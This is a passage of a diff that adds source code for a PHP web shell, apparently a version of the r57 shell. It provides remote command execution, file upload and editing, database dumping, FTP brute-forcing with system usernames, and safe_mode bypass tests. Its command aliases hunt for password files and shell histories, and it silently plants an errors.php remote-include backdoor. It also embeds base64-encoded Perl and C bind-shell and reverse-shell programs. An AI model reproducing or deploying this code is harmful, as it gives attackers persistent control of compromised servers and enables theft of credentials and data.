width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";+ break;+ case '1':+ if($sql->get_result())+ {+ echo "<table width=100%>";+ foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);+ $keys = @implode(" </b></font></td><td bgcolor=#660000><font face=Verdana size=-2><b> ", $sql->columns);+ echo "<tr><td bgcolor=#660000><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>";+ for($i=0;$i<$sql->num_rows;$i++)+ {+ foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);+ $values = @implode(" </font></td><td><font face=Verdana size=-2> ",$sql->rows[$i]);+ echo '<tr><td><font face=Verdana size=-2> '.$values.' </font></td></tr>';+ }+ echo "</table>";+ }+ break;+ case '2':+ $ar = $sql->affected_rows()?($sql->affected_rows()):('0');+ echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";+ break;+ }+ }+ }+ }+ }+ echo "<br><form name=form method=POST>";+ echo in('hidden','db',0,$_POST['db']);+ echo in('hidden','db_server',0,$_POST['db_server']);+ echo in('hidden','db_port',0,$_POST['db_port']);+ echo in('hidden','mysql_l',0,$_POST['mysql_l']);+ echo in('hidden','mysql_p',0,$_POST['mysql_p']);+ echo in('hidden','mysql_db',0,$_POST['mysql_db']);+ echo in('hidden','cmd',0,'db_query');+ echo "<div align=center>";+ echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";+ echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";+ echo "</form>";+ echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();+ }+if(isset($_GET['delete']))+ {+ @unlink(__FILE__);+ }+if(isset($_GET['tmp']))+ {+ @unlink("/tmp/bdpl");+ @unlink("/tmp/back");+ @unlink("/tmp/bd");+ @unlink("/tmp/bd.c");+ @unlink("/tmp/dp");+ @unlink("/tmp/dpc");+ @unlink("/tmp/dpc.c");+ }+if(isset($_GET['phpini']))+{+echo $head;+function U_value($value)+ {+ if ($value == '') return '<i>no value</i>';+ if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';+ if ($value === null) return 'NULL';+ if (@is_object($value)) $value = (array) $value;+ if (@is_array($value))+ {+ @ob_start();+ print_r($value);+ $value = @ob_get_contents();+ @ob_end_clean();+ }+ return U_wordwrap((string) $value);+ }+function U_wordwrap($str)+ {+ $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);+ return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);+ }+if (@function_exists('ini_get_all'))+ {+ $r = '';+ echo '<table width=100%>', '<tr><td bgcolor=#660000><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#660000><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#660000><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';+ foreach (@ini_get_all() as $key=>$value)+ {+ $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';+ }+ echo $r;+ echo '</table>';+ }+echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";+die();+}+if(isset($_GET['cpu']))+ {+ echo $head;+ echo '<table width=100%><tr><td bgcolor=#660000><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';+ $cpuf = @file("cpuinfo");+ if($cpuf)+ {+ $c = @sizeof($cpuf);+ for($i=0;$i<$c;$i++)+ {+ $info = @explode(":",$cpuf[$i]);+ if($info[1]==""){ $info[1]="---"; }+ $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';+ }+ echo $r;+ }+ else+ {+ echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';+ }+ echo '</table>';+ echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";+ die();+ }+if(isset($_GET['mem']))+ {+ echo $head;+ echo '<table width=100%><tr><td bgcolor=#660000><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';+ $memf = @file("meminfo");+ if($memf)+ {+ $c = sizeof($memf);+ for($i=0;$i<$c;$i++)+ {+ $info = explode(":",$memf[$i]);+ if($info[1]==""){ $info[1]="---"; }+ $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';+ }+ echo $r;+ }+ else+ {+ echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';+ }+ echo '</table>';+ echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";+ die();+ }+$lang=array(++/* --------------------------------------------------------------- */+'eng_text1' =>'Executed command',+'eng_text2' =>'Execute command on server',+'eng_text3' =>'Run command',+'eng_text4' =>'Work directory',+'eng_text5' =>'Upload files on server',+'eng_text6' =>'Local file',+'eng_text7' =>'Aliases',+'eng_text8' =>'Select alias',+'eng_butt1' =>'Execute',+'eng_butt2' =>'Upload',+'eng_text9' =>'Bind port to /bin/bash',+'eng_text10'=>'Port',+'eng_text11'=>'Password for access',+'eng_butt3' =>'Bind',+'eng_text12'=>'back-connect',+'eng_text13'=>'IP',+'eng_text14'=>'Port',+'eng_butt4' =>'Connect',+'eng_text15'=>'Upload files from remote server',+'eng_text16'=>'With',+'eng_text17'=>'Remote file',+'eng_text18'=>'Local file',+'eng_text19'=>'Exploits',+'eng_text20'=>'Use',+'eng_text21'=>' New name',+'eng_text22'=>'datapipe',+'eng_text23'=>'Local port',+'eng_text24'=>'Remote host',+'eng_text25'=>'Remote port',+'eng_text26'=>'Use',+'eng_butt5' =>'Run',+'eng_text28'=>'Work in safe_mode',+'eng_text29'=>'ACCESS DENIED',+'eng_butt6' =>'Change',+'eng_text30'=>'Cat file',+'eng_butt7' =>'Show',+'eng_text31'=>'File not found',+'eng_text32'=>'Eval PHP code',+'eng_text33'=>'Test bypass open_basedir with cURL functions',+'eng_butt8' =>'Test',+'eng_text34'=>'Test bypass safe_mode with include function',+'eng_text35'=>'Test bypass safe_mode with load file in mysql',+'eng_text36'=>'Database . Table',+'eng_text37'=>'Login',+'eng_text38'=>'Password',+'eng_text39'=>'Database',+'eng_text40'=>'Dump database table',+'eng_butt9' =>'Dump',+'eng_text41'=>'Save dump in file',+'eng_text42'=>'Edit files',+'eng_text43'=>'File for edit',+'eng_butt10'=>'Save',+'eng_text44'=>'Can\'t edit file! Only read access!',+'eng_text45'=>'File saved',+'eng_text46'=>'Show phpinfo()',+'eng_text47'=>'Show variables from php.ini',+'eng_text48'=>'Delete temp files',+'eng_butt11'=>'Edit file',+'eng_text49'=>'Delete script from server',+'eng_text50'=>'View cpu info',+'eng_text51'=>'View memory info',+'eng_text52'=>'Find text',+'eng_text53'=>'In dirs',+'eng_text54'=>'Find text in files',+'eng_butt12'=>'Find',+'eng_text55'=>'Only in files',+'eng_text56'=>'Nothing :(',+'eng_text57'=>'Create/Delete File/Dir',+'eng_text58'=>'name',+'eng_text59'=>'file',+'eng_text60'=>'dir',+'eng_butt13'=>'Create/Delete',+'eng_text61'=>'File created',+'eng_text62'=>'Dir created',+'eng_text63'=>'File deleted',+'eng_text64'=>'Dir deleted',+'eng_text65'=>'Create',+'eng_text66'=>'Delete',+'eng_text67'=>'Chown/Chgrp/Chmod',+'eng_text68'=>'Command',+'eng_text69'=>'param1',+'eng_text70'=>'param2',+'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",+'eng_text72'=>'Text for find',+'eng_text73'=>'Find in folder',+'eng_text74'=>'Find in files',+'eng_text75'=>'* you can use regexp',+'eng_text76'=>'Search text in files via find',+'eng_text80'=>'Type',+'eng_text81'=>'Net',+'eng_text82'=>'Databases',+'eng_text83'=>'Run SQL query',+'eng_text84'=>'SQL query',+'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',+'eng_text86'=>'Download files from server',+'eng_butt14'=>'Download',+'eng_text87'=>'Download files from remote ftp-server',+'eng_text88'=>'FTP-server:port',+'eng_text89'=>'File on ftp',+'eng_text90'=>'Transfer mode',+'eng_text91'=>'Archivation',+'eng_text92'=>'without archivation',+'eng_text93'=>'FTP',+'eng_text94'=>'FTP-bruteforce',+'eng_text95'=>'Users list',+'eng_text96'=>'Can\'t get users list',+'eng_text97'=>'checked: ',+'eng_text98'=>'success: ',+'eng_text99'=>'* use username from /etc/passwd for ftp login and password',+'eng_text100'=>'Send file to remote ftp server',+'eng_text101'=>'Use reverse (user -> resu) login for password',+'eng_text102'=>'Mail',+'eng_text103'=>'Send email',+'eng_text104'=>'Send file to email',+'eng_text105'=>'To',+'eng_text106'=>'From',+'eng_text107'=>'Subj',+'eng_butt15'=>'Send',+'eng_text108'=>'Mail',+'eng_text109'=>'Hide',+'eng_text110'=>'Show',+'eng_text111'=>'SQL-Server : Port',+'eng_text112'=>'Test bypass safe_mode with function mb_send_mail',+'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list',+'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body',+'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()',+'eng_text116'=>'Copy from',+'eng_text117'=>'to',+'eng_text118'=>'File copied',+'eng_text119'=>'Cant copy file',+'eng_text120'=>'Run Command in Safe-Mode <font color=\"red\">Vulnerable</font>',+'eng_text121'=>'<font color=\"red\">Safe-Mode Bypass ON</font>',+'eng_text122'=>'Run Cmd',+'eng_err0'=>'Error! Can\'t write in file ',+'eng_err1'=>'Error! Can\'t read file ',+'eng_err2'=>'Error! Can\'t create ',+'eng_err3'=>'Error! Can\'t connect to ftp',+'eng_err4'=>'Error! Can\'t login on ftp server',+'eng_err5'=>'Error! Can\'t change dir on ftp',+'eng_err6'=>'Error! Can\'t sent mail',+'eng_err7'=>'Mail send',+);+/*+?????? ??????+????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? )+?? ?????? ???? ????????? ??? ???????? ???????.+*/+$aliases=array(+'find suid files'=>'find / -type f -perm -04000 -ls',+'find suid files in current dir'=>'find . -type f -perm -04000 -ls',+'find sgid files'=>'find / -type f -perm -02000 -ls',+'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',+'find config.inc.php files'=>'find / -type f -name config.inc.php',+'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',+'find config* files'=>'find / -type f -name "config*"',+'find config* files in current dir'=>'find . -type f -name "config*"',+'find all writable files'=>'find / -type f -perm -2 -ls',+'find all writable files in current dir'=>'find . -type f -perm -2 -ls',+'find all writable directories'=>'find / -type d -perm -2 -ls',+'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',+'find all writable directories and files'=>'find / -perm -2 -ls',+'find all writable directories and files in current dir'=>'find . -perm -2 -ls',+'find all service.pwd files'=>'find / -type f -name service.pwd',+'find service.pwd files in current dir'=>'find . -type f -name service.pwd',+'find all .htpasswd files'=>'find / -type f -name .htpasswd',+'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',+'find all .bash_history files'=>'find / -type f -name .bash_history',+'find .bash_history files in current dir'=>'find . -type f -name .bash_history',+'find all .mysql_history files'=>'find / -type f -name .mysql_history',+'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',+'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',+'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',+'list file attributes on a Linux second extended file system'=>'lsattr -va',+'show opened ports'=>'netstat -an | grep -i listen',+'----------------------------------------------------------------------------------------------------'=>'ls -la'+);+$table_up1 = "<tr><td bgcolor=#660000><font face=Verdana size=-2><b><div align=center>:: ";+$table_up2 = " ::</div></b></font></td></tr><tr><td>";+$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#660000>";+$table_end1 = "</td></tr>";+$arrow = " <font face=Webdings color=gray>4</font>";+$lb = "<font color=black>[</font>";+$rb = "<font color=black>]</font>";+$font = "<font face=Verdana size=-2>";+$ts = "<table class=table1 width=100% align=center>";+$te = "</table>";+$fs = "<form name=form method=POST>";+$fe = "</form>";++if(isset($_GET['users']))+ {+ if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }+ else+ {+ echo '<center>';+ foreach($users as $user) { echo $user."<br>"; }+ echo '</center>';+ }+ echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();+ }++if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }+$dir = @getcwd();+if (is_writable($dir))+{+$writ= "YES";+$error= '<?include($_REQUEST["error"] . "/errors.php");?>';+$fas=fopen("errors.php", "w");+fputs($fas, $error);+fclose($fas);+$pwds="\nPWD: $dir";}+else {$writ= "NO";}+$unix = 0;+if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;+if(empty($dir))+ {+ $os = getenv('OS');+ if(empty($os)){ $os = php_uname(); }+ if(empty($os)){ $os ="-"; $unix=1; }+ else+ {+ if(@eregi("^win",$os)) { $unix = 0; }+ else { $unix = 1; }+ }+ }+if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")+ {+ echo $head;+ if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }+ else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }+ $sr->SearchText(0,0);+ $res = $sr->GetResultFiles();+ $found = $sr->GetMatchesCount();+ $titles = $sr->GetTitles();+ $r = "";+ if($found > 0)+ {+ $r .= "<TABLE width=100%>";+ foreach($res as $file=>$v)+ {+ $r .= "<TR>";+ $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);+ $r .= (!$unix)? str_replace("/","\\",$file) : $file;+ $r .= "</b></font></ TD>";+ $r .= "</TR>";+ foreach($v as $a=>$b)+ {+ $r .= "<TR>";+ $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";+ $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";+ $r .= "</TR>\n";+ }+ }+ $r .= "</TABLE>";+ echo $r;+ }+ else+ {+ echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";+ }+ echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";+ die();+ }+if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }+$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');+if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }+function ws($i)+{+return @str_repeat(" ",$i);+}+function ex($cfe)+{+ $res = '';+ if (!empty($cfe))+ {+ if(function_exists('exec'))+ {+ @exec($cfe,$res);+ $res = join("\n",$res);+ }+ elseif(function_exists('shell_exec'))+ {+ $res = @shell_exec($cfe);+ }+ elseif(function_exists('system'))+ {+ @ob_start();+ @system($cfe);+ $res = @ob_get_contents();+ @ob_end_clean();+ }+ elseif(function_exists('passthru'))+ {+ @ob_start();+ @passthru($cfe);+ $res = @ob_get_contents();+ @ob_end_clean();+ }+ elseif(@is_resource($f = @popen($cfe,"r")))+ {+ $res = "";+ while(!@feof($f)) { $res .= @fread($f,1024); }+ @pclose($f);+ }+ }+ return $res;+}+function get_users()+{+ $users = array();+ $rows=file('/etc/passwd');+ if(!$rows) return 0;+ foreach ($rows as $string)+ {+ $user = @explode(":",$string);+ if(substr($string,0,1)!='#') array_push($users,$user[0]);+ }+ return $users;+}+function err($n,$txt='')+{+echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#660000><font color=red face=Verdana size=-2><div align=center><b>';+echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];+if(!empty($txt)) { echo " $txt"; }+echo '</b></div></font></td></tr></table>';+return null;+}+function perms($mode)+{+if (!$GLOBALS['unix']) return 0;+if( $mode & 0x1000 ) { $type='p'; }+else if( $mode & 0x2000 ) { $type='c'; }+else if( $mode & 0x4000 ) { $type='d'; }+else if( $mode & 0x6000 ) { $type='b'; }+else if( $mode & 0x8000 ) { $type='-'; }+else if( $mode & 0xA000 ) { $type='l'; }+else if( $mode & 0xC000 ) { $type='s'; }+else $type='u';+$owner["read"] = ($mode & 00400) ? 'r' : '-';+$owner["write"] = ($mode & 00200) ? 'w' : '-';+$owner["execute"] = ($mode & 00100) ? 'x' : '-';+$group["read"] = ($mode & 00040) ? 'r' : '-';+$group["write"] = ($mode & 00020) ? 'w' : '-';+$group["execute"] = ($mode & 00010) ? 'x' : '-';+$world["read"] = ($mode & 00004) ? 'r' : '-';+$world["write"] = ($mode & 00002) ? 'w' : '-';+$world["execute"] = ($mode & 00001) ? 'x' : '-';+if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';+if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';+if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';+$s=sprintf("%1s", $type);+$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);+$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);+$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);+return trim($s);+}+function in($type,$name,$size,$value,$checked=0)+{+ $ret = "<input type=".$type." name=".$name." ";+ if($size != 0) { $ret .= "size=".$size." "; }+ $ret .= "value=\"".$value."\"";+ if($checked) $ret .= " checked";+ return $ret.">";+}+function which($pr)+{+$path = ex("which $pr");+if(!empty($path)) { return $path; } else { return $pr; }+}+function cf($fname,$text)+{+ $w_file=@fopen($fname,"w") or err(0);+ if($w_file)+ {+ @fputs($w_file,@base64_decode($text));+ @fclose($w_file);+ }+}+function sr($l,$t1,$t2)+ {+ return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";+ }+if (!@function_exists("view_size"))+{+function view_size($size)+{+ if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}+ elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}+ elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}+ else {$size = $size . " B";}+ return $size;+}+}+ function DirFilesR($dir,$types='')+ {+ $files = Array();+ if(($handle = @opendir($dir)))+ {+ while (false !== ($file = @readdir($handle)))+ {+ if ($file != "." && $file != "..")+ {+ if(@is_dir($dir."/".$file))+ $files = @array_merge($files,DirFilesR($dir."/".$file,$types));+ else+ {+ $pos = @strrpos($file,".");+ $ext = @substr($file,$pos,@strlen($file)-$pos);+ if($types)+ {+ if(@in_array($ext,explode(';',$types)))+ $files[] = $dir."/".$file;+ }+ else+ $files[] = $dir."/".$file;+ }+ }+ }+ @closedir($handle);+ }+ return $files;+ }+ class SearchResult+ {+ var $text;+ var $FilesToSearch;+ var $ResultFiles;+ var $FilesTotal;+ var $MatchesCount;+ var $FileMatschesCount;+ var $TimeStart;+ var $TimeTotal;+ var $titles;+ function SearchResult($dir,$text,$filter='')+ {+ $dirs = @explode(";",$dir);+ $this->FilesToSearch = Array();+ for($a=0;$a<count($dirs);$a++)+ $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));+ $this->text = $text;+ $this->FilesTotal = @count($this->FilesToSearch);+ $this->TimeStart = getmicrotime();+ $this->MatchesCount = 0;+ $this->ResultFiles = Array();+ $this->FileMatchesCount = Array();+ $this->titles = Array();+ }+ function GetFilesTotal() { return $this->FilesTotal; }+ function GetTitles() { return $this->titles; }+ function GetTimeTotal() { return $this->TimeTotal; }+ function GetMatchesCount() { return $this->MatchesCount; }+ function GetFileMatchesCount() { return $this->FileMatchesCount; }+ function GetResultFiles() { return $this->ResultFiles; }+ function SearchText($phrase=0,$case=0) {+ $qq = @explode(' ',$this->text);+ $delim = '|';+ if($phrase)+ foreach($qq as $k=>$v)+ $qq[$k] = '\b'.$v.'\b';+ $words = '('.@implode($delim,$qq).')';+ $pattern = "/".$words."/";+ if(!$case)+ $pattern .= 'i';+ foreach($this->FilesToSearch as $k=>$filename)+ {+ $this->FileMatchesCount[$filename] = 0;+ $FileStrings = @file($filename) or @next;+ for($a=0;$a<@count($FileStrings);$a++)+ {+ $count = 0;+ $CurString = $FileStrings[$a];+ $CurString = @Trim($CurString);+ $CurString = @strip_tags($CurString);+ $aa = '';+ if(($count = @preg_match_all($pattern,$CurString,$aa)))+ {+ $CurString = @preg_replace($pattern,"<SPAN style='color: #660000;'><b>\\1</b></SPAN>",$CurString);+ $this->ResultFiles[$filename][$a+1] = $CurString;+ $this->MatchesCount += $count;+ $this->FileMatchesCount[$filename] += $count;+ }+ }+ }+ $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);+ }+ }+ function getmicrotime()+ {+ list($usec,$sec) = @explode(" ",@microtime());+ return ((float)$usec + (float)$sec);+ }+$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS+A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I+GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt+b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9+pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF+NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK+ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog+ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk+7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2+9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld+2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu+dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp+lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";+$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS+VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs+JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV+TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG+lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK+Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i+Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N+lIENPTk47DQpleGl0IDA7DQp9DQp9";+$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj+aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR+hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT+sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI+kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi+KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl+OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";+$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC+BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb+SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd+KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ+sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC+Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D+QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp+Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";+$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUg